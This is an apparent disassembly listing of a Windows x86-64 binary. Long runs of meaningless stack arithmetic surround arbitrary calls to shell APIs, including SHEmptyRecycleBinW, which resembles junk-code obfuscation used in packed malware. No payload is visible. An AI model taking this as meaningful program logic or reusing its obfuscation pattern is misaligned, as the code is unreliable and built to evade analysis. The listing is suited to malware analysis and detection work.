movsx ecx, word [rsp + 0x2dd8]
sub eax, ecx
mov word [rsp + 0x2eac], ax
movzx eax, word [rsp + 0x2f90]
movzx ecx, word [rsp + 0x2a54]
shl eax, cl
mov word [rsp + 0x1190], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd738]
sar rax, cl
mov qword [0x14019d2b8], rax
mov rax, qword [rsp + 0xad58]
mov rcx, qword [rsp + 0xeee0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd830], rax
mov rax, qword [0x14019f0e8]
mov qword [rsp + 0xf038], rax
mov rax, qword [rsp + 0xe700]
mov rcx, qword [rsp + 0xe9d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe5e0], rax
movzx eax, word [rsp + 0x183c]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xebb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xedf8]
mov eax, dword [rax]
mov dword [rsp + 0x7108], eax
movzx eax, byte [rsp + 0x58f]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x406], al
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6278]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x68b0], eax
movsx eax, byte [0x14019d011]
movsx ecx, byte [rsp + 0x54d]
shl eax, cl
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0xe488]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xda48]
shr rax, cl
mov qword [0x14019f2a0], rax
movsx eax, word [rsp + 0x1b04]
movsx ecx, word [0x14019f528]
or eax, ecx
mov word [rsp + 0x1c58], ax
mov rax, qword [rsp + 0xe968]
movzx eax, word [rax]
mov word [rsp + 0x2fa0], ax
movzx eax, word [rsp + 0x2f14]
movzx ecx, word [rsp + 0x154c]
sub eax, ecx
mov rcx, qword [rsp + 0xdbf0]
mov word [rcx], ax
mov rax, qword [0x14019f2b0]
mov rcx, qword [rsp + 0xd720]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb400], rax
mov rax, qword [rsp + 0xe9a0]
mov rcx, qword [rsp + 0xd248]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed78], rax
movzx eax, byte [rsp + 0x4f5]
mov byte [rsp + 0x5a2], al
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6cf8]
mov dword [rsp + 0x7004], eax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b0c]
sub eax, ecx
mov word [rsp + 0x2f2c], ax
movzx eax, word [rsp + 0x2bd8]
mov word [0x14019f560], ax
mov rax, qword [rsp + 0xdeb0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019f2e0]
sar rax, cl
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d90]
or eax, ecx
mov word [rsp + 0x1b94], ax
movzx eax, byte [rsp + 0x3fb]
mov byte [rsp + 0x5a3], al
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe970]
mov qword [rsp + 0xf040], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf040]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6400], eax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xe278]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov dword [rsp + 0x710c], eax
movsx eax, byte [rsp + 0x4f9]
mov rcx, qword [rsp + 0xeb78]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x58a], al
movsx eax, word [rsp + 0x2d84]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1db8], ax
lea r9, [rsp + 0xd7c8]
lea r8, [rsp + 0xd168]
lea rdx, [rsp + 0x1fc60]
lea rcx, [rsp + 0x20890]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6fd4], eax
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe90]
and eax, ecx
mov rcx, qword [0x14019f220]
mov word [rcx], ax
mov rax, qword [rsp + 0xe8f0]
mov rcx, qword [rsp + 0xcfe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xac28], rax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5b8], rax
movzx eax, word [rsp + 0x2f50]
mov word [rsp + 0x2fa4], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15a8], ax
lea rcx, [rsp + 0xd8b8]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x7110], eax
mov rax, qword [rsp + 0xeae8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1da], al
mov eax, dword [rsp + 0x6e2c]
mov ecx, dword [rsp + 0x6704]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e94], eax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
mov qword [rsp + 0xf048], rax
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xbf00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc0]
add eax, ecx
mov word [0x14019f494], ax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ea0]
sub eax, ecx
mov word [rsp + 0x1c4c], ax
lea rax, [rsp + 0x22b]
mov qword [rsp + 0xf050], rax
mov rax, qword [rsp + 0xdbc8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6798]
shl eax, cl
mov dword [rsp + 0x6f0c], eax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov qword [rsp + 0xf058], rax
mov rax, qword [rsp + 0xde78]
mov ecx, dword [rsp + 0x6e2c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x70c8], eax
mov rax, qword [rsp + 0xe010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xf060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf060]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xee40], rax
mov rax, qword [rsp + 0xef60]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef92]
xor eax, ecx
mov byte [rsp + 0x2dd], al
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1af8], ax
movzx eax, word [rsp + 0x10d8]
mov word [0x14019f564], ax
mov r9d, 0xc6
mov r8, qword [rsp + 0xed90]
mov edx, 0x4d
mov rcx, qword [rsp + 0xd508]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x6d24], eax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
mov qword [rsp + 0xf068], rax
movzx eax, word [rsp + 0x2da4]
mov rcx, qword [rsp + 0xdf98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1214], ax
movsx eax, word [rsp + 0x2ebc]
movsx ecx, word [rsp + 0x1d90]
or eax, ecx
mov word [rsp + 0x2ef4], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd720]
mov qword [rsp + 0xf070], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf070]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa5f8], rax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov dword [rsp + 0x7114], eax
mov rax, qword [rsp + 0xe590]
mov rcx, qword [rsp + 0x9400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd428], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dd0], ax
mov rax, qword [rsp + 0xe0a8]
mov rcx, qword [rsp + 0xb4e0]
add rcx, rax
mov rax, rcx
mov qword [0x14019f530], rax
movzx eax, byte [rsp + 0x4f6]
mov byte [rsp + 0x5a4], al
mov rax, qword [rsp + 0xee10]
mov ecx, dword [rsp + 0x70a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f5c], eax
mov rax, qword [rsp + 0xf008]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2794]
add eax, ecx
mov word [rsp + 0x1878], ax
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0x1b78]
or eax, ecx
mov word [rsp + 0x1230], ax
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov qword [rsp + 0xf078], rax
mov eax, dword [rsp + 0x6df8]
mov rcx, qword [rsp + 0xe618]
mov qword [rsp + 0xf080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf080]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xe1a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
xor eax, ecx
mov byte [rsp + 0x55c], al
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
movsx ecx, word [0x14019d1c0]
and eax, ecx
mov word [rsp + 0x20f4], ax
movzx eax, word [rsp + 0x131c]
movzx ecx, word [rsp + 0x1be0]
sar eax, cl
mov word [0x14019d2c0], ax
mov rax, qword [rsp + 0xea68]
mov rcx, qword [rsp + 0xe610]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xefa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xec50]
mov rax, qword [rax]
mov qword [rsp + 0xf088], rax
mov rax, qword [rsp + 0xebc0]
mov rcx, qword [rsp + 0xd998]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb68]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ea8], ax
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
mov dword [rsp + 0x7118], eax
movsx eax, byte [rsp + 0x59e]
movsx ecx, byte [rsp + 0x77]
shl eax, cl
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0xea00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5c0], rax
mov eax, dword [rsp + 0x6f98]
mov ecx, dword [rsp + 0x6a8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f90], eax
movzx eax, byte [rsp + 0x57b]
movzx ecx, byte [rsp + 0x4de]
add eax, ecx
mov rcx, qword [rsp + 0xea38]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bfc]
mov word [0x14019f568], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov word [rsp + 0x2fa8], ax
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdd28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2954], ax
mov rax, qword [rsp + 0xeb00]
mov rcx, qword [rsp + 0xd590]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0xd468]
mov rcx, qword [rsp + 0xd300]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
xor edx, edx
mov eax, dword [rsp + 0x6f74]
mov rcx, qword [rsp + 0xd338]
div dword [rcx]
mov dword [rsp + 0x6548], eax
movzx eax, byte [0x14019ef91]
mov byte [rsp + 0x5a5], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xe6a0]
mov word [rcx], ax
lea rax, [rsp + 0x1c08]
mov qword [rsp + 0xf090], rax
mov rax, qword [rsp + 0xdb98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc920]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d1d0], rax
movzx eax, word [rsp + 0x2f10]
mov rcx, qword [rsp + 0xda50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xe868]
mov rcx, qword [rsp + 0xe4f8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0xe9e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd980]
shl rax, cl
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0xee48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdd18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xec58], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov dword [rsp + 0x711c], eax
movzx eax, byte [rsp + 0x4d1]
movzx ecx, byte [rsp + 0x578]
or eax, ecx
mov byte [rsp + 0x51e], al
lea rax, [rsp + 0x6d44]
mov qword [rsp + 0xf098], rax
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [0x14019ef9a]
shl eax, cl
mov rcx, qword [rsp + 0xed80]
mov byte [rcx], al
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d00]
sar eax, cl
mov word [0x14019d2c4], ax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
sub eax, ecx
mov word [rsp + 0x2794], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
mov word [rsp + 0x2fac], ax
mov rax, qword [rsp + 0xdf00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c4c]
sub eax, ecx
mov word [rsp + 0x2af4], ax
mov eax, dword [0x14019f2cc]
mov ecx, dword [rsp + 0x6f9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b34], eax
movsx eax, byte [rsp + 0x2dd]
mov rcx, qword [rsp + 0xeed8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xec28]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xcef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xdfc8], rax
movzx eax, word [0x14019d080]
mov word [rsp + 0x2fb0], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xeb88]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2be8], ax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd870]
sar rax, cl
mov qword [0x14019d1d0], rax
mov rax, qword [0x14019f030]
mov rcx, qword [rsp + 0xe238]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xecf0]
mov rcx, qword [rsp + 0xd3f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xefd0], rax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov qword [rsp + 0xf0a0], rax
mov rax, qword [0x14019f468]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [rsp + 0x1cf4], ax
movzx eax, byte [rsp + 0x4e9]
movzx ecx, byte [rsp + 0x552]
sub eax, ecx
mov byte [rsp + 0x45a], al
mov eax, dword [0x14019efac]
mov dword [rsp + 0x7120], eax
mov rax, qword [rsp + 0xef78]
mov rcx, qword [rsp + 0xd4f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xeeb8], rax
movsx eax, byte [rsp + 0x77]
movsx ecx, byte [rsp + 0x1da]
shl eax, cl
mov byte [rsp + 0x1a4], al
mov rax, qword [rsp + 0xdff0]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xf0a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf0a8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019d0b0], eax
mov rax, qword [rsp + 0xe448]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xecc8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
movsx ecx, word [0x14019f548]
sub eax, ecx
mov rcx, qword [rsp + 0xed08]
mov word [rcx], ax
lea rax, [rsp + 0x2da8]
mov qword [rsp + 0xf0b0], rax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd998]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x95e0], rax
lea rax, [rsp + 0x186]
mov qword [rsp + 0xf0b8], rax
mov rax, qword [0x14019f3b0]
mov rcx, qword [rsp + 0xe768]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd0c8], rax
lea rdx, [rsp + 0x1f020]
mov rcx, qword [rsp + 0xf0c0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xdbd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fb4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6998], eax
mov rax, qword [rsp + 0xddb8]
movzx eax, word [rax]
mov word [rsp + 0x2fb4], ax
movzx eax, word [rsp + 0x2d44]
mov word [0x14019f56c], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xeb70]
shl rax, cl
mov rcx, qword [rsp + 0xdda0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1cc0]
movzx ecx, word [rsp + 0x2e70]
sar eax, cl
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xe550]
mov rcx, qword [rsp + 0xd0f8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6f0c], eax
movzx eax, byte [rsp + 0x552]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0xdc00]
mov qword [rsp + 0xf0c8], rax
movsx eax, byte [rsp + 0x2f4]
movsx ecx, byte [rsp + 0x554]
add eax, ecx
mov byte [rsp + 0x571], al
mov eax, dword [rsp + 0x5e40]
mov dword [rsp + 0x7124], eax
movsx eax, word [rsp + 0x2dac]
mov rcx, qword [0x14019f388]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd9b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f4ac], ax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd890]
mov qword [rsp + 0xf0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf0d0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb030], rax
xor r8d, r8d
lea rdx, [rsp + 0x20890]
lea rcx, [rsp + 0x1e650]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xefd0]
mov rcx, qword [rsp + 0xda20]
mov qword [rsp + 0xf0d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf0d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xe828]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
or eax, ecx
mov word [rsp + 0x2bac], ax
mov dword [rsp + 0x20], PathYetAnotherMakeUniqueName
lea r9, [rsp + 0x20060]
mov r8, qword [rsp + 0xea20]
mov rdx, qword [rsp + 0xf0e0]
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x70c4], eax
lea rax, [rsp + 0x2f80]
mov qword [rsp + 0xf0e8], rax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xdbe0]
mov qword [rcx], rax
lea rax, [rsp + 0xc5]
mov qword [rsp + 0xf0f0], rax
mov rax, qword [rsp + 0xdbd8]
mov rcx, qword [0x14019efc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6db8], eax
mov rax, qword [rsp + 0xd088]
mov rcx, qword [rsp + 0xef50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9448], rax
movzx eax, word [rsp + 0xc68]
mov word [0x14019f570], ax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
mov word [rsp + 0x2fb8], ax
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xdb30]
idiv dword [rcx]
mov dword [rsp + 0x6e24], eax
mov rax, qword [rsp + 0xf050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3c3], al
mov rax, qword [0x14019f048]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc120]
sar rax, cl
mov qword [rsp + 0xdfb0], rax
mov rax, qword [rsp + 0xdc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f50], eax
lea rax, [rsp + 0x54e]
mov qword [rsp + 0xf0f8], rax
mov rax, qword [rsp + 0xa0a8]
movzx ecx, al
mov rax, qword [0x14019f290]
shl rax, cl
mov qword [rsp + 0xf028], rax
mov rax, qword [rsp + 0xf008]
movzx eax, word [rax]
mov word [rsp + 0x2fbc], ax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x26dc]
sub eax, ecx
mov word [0x14019f460], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe690]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc588], rax
movzx eax, word [rsp + 0xe74]
mov word [rsp + 0x2fc0], ax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e94], ax
mov rax, qword [rsp + 0xe378]
mov rcx, qword [rsp + 0xed48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc418], rax
movsx eax, byte [rsp + 0x510]
movsx ecx, byte [rsp + 0x585]
or eax, ecx
mov byte [rsp + 0x14e], al
mov eax, dword [0x14019d060]
movzx ecx, al
mov eax, dword [rsp + 0x6fbc]
shr eax, cl
mov dword [rsp + 0x5a10], eax
mov rax, qword [rsp + 0xccc8]
mov qword [rsp + 0xf100], rax
lea r9, [rsp + 0x6f28]
mov r8d, 0x3d
mov edx, 0xc5
mov rcx, qword [rsp + 0xd718]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x6c14], eax
mov r8d, 0xea
mov rdx, qword [rsp + 0xea10]
mov rcx, qword [rsp + 0xf108]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xd138], rax
movzx eax, word [rsp + 0xf5c]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17d4], ax
mov rax, qword [rsp + 0xecf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4f8]
and rcx, rax
mov rax, rcx
mov qword [0x14019d2c8], rax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5a4]
xor eax, ecx
mov byte [rsp + 0x4fa], al
mov eax, dword [0x14019efac]
mov ecx, dword [rsp + 0x6e64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a58], eax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec0], ax
movzx eax, word [rsp + 0x2e70]
mov word [rsp + 0x2fc4], ax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xea98]
mov qword [rsp + 0xf110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf110]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xe408]
mov rcx, qword [rsp + 0xe5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb050], rax
mov r8d, 1
mov rdx, qword [rsp + 0xf118]
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x6d38], eax
movsx eax, byte [rsp + 0x2fb]
mov rcx, qword [rsp + 0xdd70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39c], al
mov rax, qword [rsp + 0xdf90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x26ec], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov word [0x14019d2a4], ax
mov rax, qword [rsp + 0xe8b8]
mov qword [rsp + 0xf120], rax
mov rax, qword [rsp + 0xa6f8]
mov rcx, qword [rsp + 0xdc30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd250], rax
lea rdx, [rsp + 0x234e0]
mov ecx, 0xb7
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x6fd4], eax
mov rax, qword [rsp + 0xc998]
mov rcx, qword [rsp + 0xe5b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa830], rax
mov rax, qword [0x14019f4c8]
movzx eax, word [rax]
mov word [rsp + 0x2fc8], ax
mov dword [rsp + 0x28], 0xf8
lea rax, [rsp + 0xcf50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x700c]
mov r8d, reloc.COMCTL32.dll_LBItemFromPt
mov edx, 0x70
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6f88], eax
mov rax, qword [rsp + 0xd9a8]
mov rcx, qword [rsp + 0x9f98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdaa0], rax
mov r8d, ILSaveToStream
mov rdx, qword [rsp + 0xf128]
mov rcx, qword [rsp + 0xd370]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x7024], eax
mov rax, qword [rsp + 0xe8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21c]
or eax, ecx
mov byte [rsp + 0x42c], al
mov eax, dword [rsp + 0x6f14]
mov rcx, qword [rsp + 0xdfa8]
mov qword [rsp + 0xf130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf130]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xdd60]
mov eax, dword [rax]
mov dword [rsp + 0x7128], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe440]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x57a], al
movzx eax, word [0x14019f29c]
mov word [0x14019f574], ax
movzx eax, word [rsp + 0x19ac]
mov rcx, qword [rsp + 0xecb8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd910]
mov word [rcx], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x27e4], ax
mov rax, qword [rsp + 0xe9f8]
mov rcx, qword [rsp + 0xee60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe310], rax
lea r8, [rsp + 0xcdf8]
lea rdx, [fcn.140181f10]
mov rcx, qword [rsp + 0xe7f0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xee30]
movzx eax, byte [rax]
mov byte [rsp + 0x5a6], al
mov rax, qword [rsp + 0xef78]
mov rcx, qword [0x14019f0f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xe580]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6db8]
mov ecx, dword [rsp + 0x6e6c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdd00]
